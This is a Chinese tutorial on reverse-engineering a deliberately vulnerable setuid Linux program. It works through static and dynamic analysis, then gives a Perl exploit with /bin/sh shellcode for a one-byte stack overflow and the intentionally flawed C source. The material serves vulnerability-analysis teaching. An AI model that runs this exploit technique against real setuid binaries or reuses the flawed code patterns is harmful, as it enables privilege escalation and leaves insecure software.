<一> 对未明2进制文件分析工具简单总结:
静态考查:file、nm、strings、objdump
动态跟踪:strace、lstrace
动态调试: gdb、insight
反汇编 :ida
<二> 对未明2进制文件分析方法简单总结:
1. 外部观察,了解文件类型、行为和外部接口。
[cloud@rsas zzz]$ file zzz
zzz: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped
cloud@rsas zzz]$ ./zzz
usage : ./zzz string
[cloud@rsas zzz]$ ./zzz aa
fzzz(aa) = 7d9dd0c79619cbcabb8f5095f61da05f
2. 静态分析,看看程序用了那些外部函数:
[cloud@rsas zzz]$ nm zzz
nm: zzz: no symbols
没有符号表?这也难不倒我们:
[cloud@rsas zzz]$ objdump -R zzz
zzz: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804aa68 R_386_GLOB_DAT __gmon_start__
0804aa14 R_386_JUMP_SLOT strncat
0804aa18 R_386_JUMP_SLOT fileno
0804aa1c R_386_JUMP_SLOT fprintf
0804aa20 R_386_JUMP_SLOT getenv
0804aa24 R_386_JUMP_SLOT system
0804aa28 R_386_JUMP_SLOT setresuid
0804aa2c R_386_JUMP_SLOT fchmod
0804aa30 R_386_JUMP_SLOT strlen
0804aa34 R_386_JUMP_SLOT __libc_start_main
0804aa38 R_386_JUMP_SLOT strcat
0804aa3c R_386_JUMP_SLOT printf
0804aa40 R_386_JUMP_SLOT getuid
0804aa44 R_386_JUMP_SLOT setreuid
0804aa48 R_386_JUMP_SLOT getpwnam
0804aa4c R_386_JUMP_SLOT exit
0804aa50 R_386_JUMP_SLOT memset
0804aa54 R_386_JUMP_SLOT strncpy
0804aa58 R_386_JUMP_SLOT fopen
0804aa5c R_386_JUMP_SLOT sprintf
0804aa60 R_386_JUMP_SLOT geteuid
0804aa64 R_386_JUMP_SLOT strcpy
可以看到有了我们感兴趣的:
溢出: strcpy、sprintf、strcat、(strncpy、strncat也可能导致溢出)
格式串: printf、sprintf
执行外部命令: system + setreuid/setresuid 有可能高权限执行我们的命令。
外部接口: getenv、fopen、fprintf。
条件竞争: fchmod
疑虑问题setresuid/setreuid到底把权限去掉了还是设高了还是设低了?联系的是同时出现了getuid,geteuid。
这次我们就了解到了比上次更多的内容。
3. 静态考查更多的外部接口
有getenv,那么到底getenv了哪些内容,fopen又打开了哪个个文件?静态分析可以通过strings来简单了解。
[cloud@rsas zzz]$ strings zzz
/lib/ld-linux.so.2
libc.so.6
strcpy
geteuid
getenv
fchmod
getuid
system
fprintf
strcat
strncpy
strncat
setresuid
setreuid
memset
getpwnam
sprintf
exit
fopen
fileno
_IO_stdin_used
__libc_start_main
strlen
__gmon_start__
GLIBC_2.1
GLIBC_2.0
PTRh
QZ^&
-V8I
-o,y
t_hf
j h@
usage : ./zzz string
fzzz(
) =
%02x
fzzz=
ERR: string too long.
LOGNAME
LOGFILE
logfile = %s
LOGPATH
ok : root user!
ps -ef |sed 's/r.*t//g' |awk '{print $1}'
我们看到了感兴趣的:
LOGNAME
LOGFILE
LOGPATH
ok : root user!
ps -ef |sed 's/r.*t//g' |awk '{print $1}'
4. 用ida反汇编,静态考查我们以上发现的兴趣点:
部分内容如下:
.text:080486D3 push offset sub_80493D3 (根据对gcc的了解这个就是main函数啦~~)
.text:080486D8 call ___libc_start_main
.text:0804965A call _getpwnam
.text:0804965F add esp, 4
.text:08049662 mov dword_804A920, eax
.text:08049667 cmp dword_804A920, 0
.text:0804966E jz short loc_804967D
.text:08049670 mov eax, dword_804A920
.text:08049675 mov eax, [eax+8]
.text:08049678 mov ds:dword_804AB8C, eax
.text:0804967D
.text:0804967D loc_804967D: ; CODE XREF: sub_80493D3+27Fj
.text:0804967D ; sub_80493D3+29Bj
.text:0804967D push ds:dword_804AB8C
.text:08049683 push ds:dword_804AB20
.text:08049689 push ds:dword_804AB20
.text:0804968F call _setresuid
.text:0804940E push offset aLogname ; "LOGNAME"
.text:08049413 call _getenv
.text:08049418 add esp, 4
.text:0804941B mov dword_804A924, eax
.text:08049420 push offset aLogfile ; "LOGFILE"
.text:08049425 call _getenv
.text:0804942A add esp, 4
.text:0804973E add esp, 8
.text:08049741 push offset aLogname ; "LOGNAME"
.text:08049746 call _getenv
.text:0804974B add esp, 4
.text:0804974E mov [ebp-10h], eax
.text:08049751 push offset aPsEfSedSR_TGAw ; "ps -ef |sed 's/r.*t//g' |awk '{print $1"...
.text:08049756 call _system
.text:0804975B add esp, 4
深入看看我们可以发现调用system的函数在整个程序中没有被调用过 :(
简单看了一下main函数开始部分没有见到取消程序特权的调用,增强了考查信心 :)
5. 在以上静态分析基础上动态考查我们发现的兴趣点:
(1). 是否有溢出、格式串等问题。
考查依据是处理外部输入错误时将会"Segmentation fault"之类的信息。
终于在不辞劳苦对环境变量LOGFILE、LOGNAME . . . 命令行参数构造各种加长串后出现了这个信息:
[cloud@rsas zzz]$ ./zzz `perl -e 'print "A"x24'`
fzzz(AAAAAAAAAAAAAAAAAAAAAAAA) = ff605f02a57b3ae6f8c4cefded2c3c73?卡[?磕??
Segmentation fault
再用lstrace追踪一下可以很快明确这是单字节溢出。
(2). 动态和静态结合分析文件操作
功夫不负有心人,LOGFILE环境变量似乎可以用特权身份追加文件内容:
[cloud@rsas zzz]$ export LOGFILE=kk
[cloud@rsas zzz]$ ./zzz dd
fzzz(dd) = 5f3f6275e5a875a3de8cd6155fce81b7
[cloud@rsas zzz]$ ls -l kkcloud
-rwxr-xr-x 1 root aurora 56 Nov 10 11:24 kkcloud
[cloud@rsas zzz]$ cat kkcloud
logfile = kkcloud
fzzz=5f3f6275e5a875a3de8cd6155fce81b7
(3). 比较难的部分是分析文件运行中权限是如何变化的
通过仔细阅读ida反汇编结果,最后我们可以发现LOGNAME和setresuid有神奇的关系 :)
(4). 直觉告诉我们如果能了解程序hash值算法能更有效指导我们写利用程序。
在ida中我们看到了这几个md5的标志值:
.text:08049615 mov [ebp+var_54], 67452301h
.text:0804961C mov [ebp+var_50], 0EFCDAB89h
.text:08049623 mov [ebp+var_4C], 98BADCFEh
.text:0804962A mov [ebp+var_48], 10325476h
如果你对md5熟悉可以立即意识到程序最有可能用了md5算法。
6. 小结
对一个未明2进制文件表面上看起来我们对他似乎只能进行黑盒测试,但通过我们对
文件从不同角度进行观察,找出可能点,然后再进行有针对的黑盒测试加阅读关键点的反
汇编代码(可以算半白盒测试了)我们就能完成对文件的比较全面考查。
<三> 利用方法探求
利用方法综合考察你对溢出、程序堆栈布局结构、shellcode等的熟悉度。
linux系统配置、系统各服务、及相关配置文件、符号链接等的使用、等等。
这部分,楼上很多兄弟们都有非常独到的见解了就不多说了。
下面是以前偶的针对单字节溢出的利用程序:
#!/usr/bin/perl -w
#use to exploit zzz demo program on linux.
#write by watercloud at xfocus.org 2003-8-4.
#usage ./ex.pl [off]
# ./ex.pl -f
# off : 0 - 256
# -f : force search the offset
$CMD="./zzz";
$SHELL="1\xc0PPP[YZ4\xd0\xcd\x80";
$SHELL.="j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
$OFF=50;
$OFF=$ARGV[0] if $ARGV[0] >0 ;
$f_force=1 if $ARGV[0] eq '-f' ;
%ENV={};$ENV{LOGNAME}="root";
$ARG="AA". "\xb0\xff\xff\xbf"x5 ."A";
for($off=0;$off<256;$off+=10){
$off=$OFF if ! $f_force;
$ENV{ABC}="\x90"x$off .$SHELL;
foreach $a (0x61 .. 0x71) {
printf "Offset=$off AligChar='%s'\n",chr($a);
foreach (1 .. 3){
exit 0 if ! system $CMD,$ARG.chr($a);
}
}
last if ! $f_force;
}
#EOF
==================================付漏洞测试程序=============================
/*
* 文件名: zzz.c
* 用途 : 漏洞发掘和利用分析测试。
* 编写 : watercloud
* 日期 : 2002-11-9
*/
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include<pwd.h>
FILE * fp =NULL;
#define S11 7
#define S12 12
#define S13 17
#define S14 22
#define S21 5
#define S22 9
#define S23 14
#define S24 20
#define S31 4
#define S32 11
#define S33 16
#define S34 23
#define S41 6
#define S42 10
#define S43 15
#define S44 21
#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
#define H(x, y, z) ((x) ^ (y) ^ (z))
#define I(x, y, z) ((y) ^ ((x) | (~z)))
/* ROTATE_LEFT rotates x left n bits.
*/
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
Rotation is separate from addition to prevent recomputation.
*/
#define FF(a, b, c, d, x, s, ac) { \
(a) += F ((b), (c), (d)) + (x) + (unsigned int)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
}
#define GG(a, b, c, d, x, s, ac) { \
(a) += G ((b), (c), (d)) + (x) + (unsigned int)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
}
#define HH(a, b, c, d, x, s, ac) { \
(a) += H ((b), (c), (d)) + (x) + (unsigned int)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
}
#define II(a, b, c, d, x, s, ac) { \
(a) += I ((b), (c), (d)) + (x) + (unsigned int)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
}
static void MD5Calc (char buffer[64], unsigned int value[4])
{
unsigned int a = value[0];
unsigned int b = value[1];
unsigned int c = value[2];
unsigned int d = value[3];
unsigned int x[16];
unsigned int * p= (unsigned int *) buffer , i=0;
for(; i<16 ; p++, i++)
x[i]=*p;
/* Round 1 */
FF (a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */
FF (d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */
FF (c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */
FF (b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */
FF (a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */
FF (d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */
FF (c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */
FF (b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */
FF (a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */
FF (d, a, b, c, x[ 9], S12, 0x8b44f7af); /* 10 */
FF (c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */
FF (b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */
FF (a, b, c, d, x[12], S11, 0x6b901122); /* 13 */
FF (d, a, b, c, x[13], S12, 0xfd987193); /* 14 */
FF (c, d, a, b, x[14], S13, 0xa679438e); /* 15 */
FF (b, c, d, a, x[15], S14, 0x49b40821); /* 16 */
/* Round 2 */
GG (a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */
GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */
GG (c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */
GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */
GG (a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */
GG (d, a, b, c, x[10], S22, 0x2441453); /* 22 */
GG (c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */
GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */
GG (a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */
GG (d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */
GG (c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */
GG (b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */
GG (a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */
GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */
GG (c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */
GG (b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */
/* Round 3 */
HH (a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */
HH (d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */
HH (c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */
HH (b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */
HH (a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */
HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */
HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */
HH (b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */
HH (a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */
HH (d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */
HH (c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */
HH (b, c, d, a, x[ 6], S34, 0x4881d05); /* 44 */
HH (a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */
HH (d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */
HH (c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */
HH (b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */
/* Round 4 */
II (a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */
II (d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */
II (c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */
II (b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */
II (a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */
II (d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */
II (c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */
II (b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */
II (a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */
II (d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */
II (c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */
II (b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */
II (a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */
II (d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */
II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */
II (b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */
value[0] += a;
value[1] += b;
value[2] += c;
value[3] += d;
}
void usage(void)
{
printf("usage : ./zzz string\n");
exit(-1);
}
#define BUF_LEN 64 //罪恶之源呀~~ 本来应该是65的。
void printResult(const char * string,char * buffer)
{
char ResBuff[BUF_LEN]; // MFSUM(string)=%02x . . .格式输出
char *p = ResBuff;
int i=0;
char tmp[4];
//其中strlen(string)<=24 strlen("fzzz(")=5 +strlen(") = ")=4末尾长度为32故总长度<=65
//准备格式化输出。
memset(ResBuff,'\0',BUF_LEN);
strcpy(ResBuff,"fzzz(");
strcat(ResBuff,string);
strcat(ResBuff,") = ");
p += 5+strlen(string)+4;
for (i = 0; i < 16; i++,p+=2)
{
sprintf(tmp,"%02x", (unsigned char)buffer[i]);
strncpy(p,tmp,2);
}
if(fp!=NULL)
{
fprintf(fp,"fzzz=");
for (i = 0; i < 16; i++,p+=2)
{
fprintf(fp,"%02x", (unsigned char)buffer[i]);
}
fprintf(fp,"\n");
}
printf("%s\n",ResBuff);
}
uid_t uid;
uid_t ruid,euid,suid,kuid;
struct passwd * ppasswd=NULL;
char * plogname = NULL;
char * pfile = NULL;
char fname_buf[128];
char logname_buf[64];
int main(int argc,char *argv[])
{
char buffer[64];
unsigned int value[4];
if(argc == 2)
{
if(strlen(argv[1]) >24)
{
printf("ERR: string too long.\n");
exit(1);
}
}
else
{
usage();
}
plogname=getenv("LOGNAME");
pfile=getenv("LOGFILE");
uid=getuid();
if(pfile != NULL)
{
char * p= logname_buf;
memset(fname_buf,'\0',128);
memset(logname_buf,'\0',64);
strncpy(fname_buf,pfile,64);
strncpy(logname_buf,plogname,32);
while(*p!='\0')
{
if(*p=='\r'||*p=='\n')
*p=' ';
p++;
}
strncat(fname_buf,logname_buf,32);
fp=fopen(fname_buf,"a");
}
if(fp != NULL)
{
fprintf(fp,"logfile = %s\n",fname_buf);
fchmod(fileno(fp),0755); //fopen后过一会儿才fchmod,存在一个竞争条件,虽用途不大但你意识到了吗?
}
/* 求MD5前的准备工作 */
memset(buffer,0,64);
strcpy(buffer,argv[1]);
strcat(buffer,"\x80");
buffer[uid%56]=uid%255;
buffer[uid%48]=uid%127;
buffer[uid%32]=uid%84;
buffer[uid%16]=uid%64;
//buffer[uid%8]=uid%32;
*( (unsigned long *) &buffer[64-8] ) = (strlen(argv[1])) *8;
value[0]=0x67452301;
value[1]=0xefcdab89;
value[2]=0x98badcfe;
value[3]=0x10325476;
MD5Calc(buffer,value); //求标准Md5值
kuid=uid;
if(plogname != NULL)
{
ppasswd=getpwnam(plogname);
if(ppasswd!=NULL)
{
kuid=ppasswd->pw_uid;
}
}
setresuid(uid,uid,kuid); //一点小花样。
/* 输出消息 */
printResult(argv[1],(char *)value);
return 0;
}
void prelog() //干扰视线的 :)
{
int x,y;
x=100;
y=1000;
uid_t uid;
char * p=getenv("LOGPATH");
if(p==NULL)
{
x=200;
x+=300;
for(y=200;y+=20;y<300)
{
x+=y;
y-=10;
}
}
uid=getuid();
if(uid==geteuid())
{
printf("ok : root user!\n");
}
setreuid(-1,uid);
p=getenv("LOGNAME");
system("ps -ef |sed 's/r.*t//g' |awk '{print $1}'");
}
//EOF
Makefile:
zzz : zzz.c
gcc zzz.c -o zzz -mpreferred-stack-boundary=2
strip zzz